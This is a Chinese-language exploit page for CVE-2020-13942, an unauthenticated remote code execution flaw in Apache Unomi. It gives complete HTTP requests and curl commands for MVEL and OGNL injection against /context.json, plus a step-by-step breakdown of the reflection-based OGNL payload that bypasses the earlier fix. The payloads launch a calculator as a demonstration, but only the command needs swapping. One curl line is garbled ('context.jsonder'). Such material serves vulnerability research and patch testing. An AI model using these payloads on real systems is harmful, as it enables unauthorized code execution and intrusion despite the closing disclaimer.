
CVE-2020-13942 未认证的远程代码执行概念验证(POC)通过MVEL和OGNL注入
关于该漏洞的原始博客文章: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
存在两个 RCE 向量:通过 MVEL 注入和通过 OGNL 注入。这两个向量针对不同的代码,但载荷看起来相对相似。 之前的 CVE 修复 https://nvd.nist.gov/vuln/detail/CVE-2020-11975 试图限制 OGNL 表达式的执行,但完全遗漏了 MVEL。CVE-2020-13942 绕过了 1.5.1 版本中修复的问题。
使用 BurpSuite 或 curl 将以下 HTTP 请求发送到 Unomi 服务器暴露的 context.js\json,可获得 RCE。请根据目标 URL 和操作系统命令修改 Host 和 Content-length。
两个 POC 都可能收到 HTTP/1.1 400 Header Folding 响应,这意味着载荷中的 \r\n 被打乱了,请尝试再次复制粘贴。
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'
OGNL POC 绕过了 1.5.1 版本引入的 ClassLoader 限制。利用 Java 反射 API,可以在不触发限制 OGNL 表达式的 ClassLoader.loadClass 方法的情况下创建对象。
载荷 OGNL 表达式分解:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") 创建一个 java.lang.Runtime 类对象,其中 #this 是上下文对象的引用。#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] 通过反射获取 Runtime 类的方法列表,并从列表中选择 getRuntime 方法。表达式中的 {^ #this.name.equals(\"getRuntime\")} 部分查找名为 getRuntime 的方法,并返回符合条件的方法列表;该列表的第一个且唯一的方法是 getRuntime。#runtimeobject = #runtimemethod.invoke(null,null) 调用 getRuntime() 方法并获取 Runtime 对象。(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) 获取 Runtime 类的方法,并从方法列表中检索带单个 String 参数的 Runtime.exec()。#execmethod.invoke(#runtimeobject,\"gnome-calculator\") 使用指定参数调用 Runtime.exec()。POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'
本页提供的所有信息仅供教育目的。本网站上的信息仅应用于增强您计算机系统的安全性,不得用于造成恶意或破坏性攻击。
您不应滥用此信息来获得对计算机系统的未授权访问。请注意,在未经所有者书面许可的情况下,对不属于您的计算机进行黑客攻击是违法的。
对于因使用本网站提供的信息而造成的任何直接或间接损害,我不承担任何责任。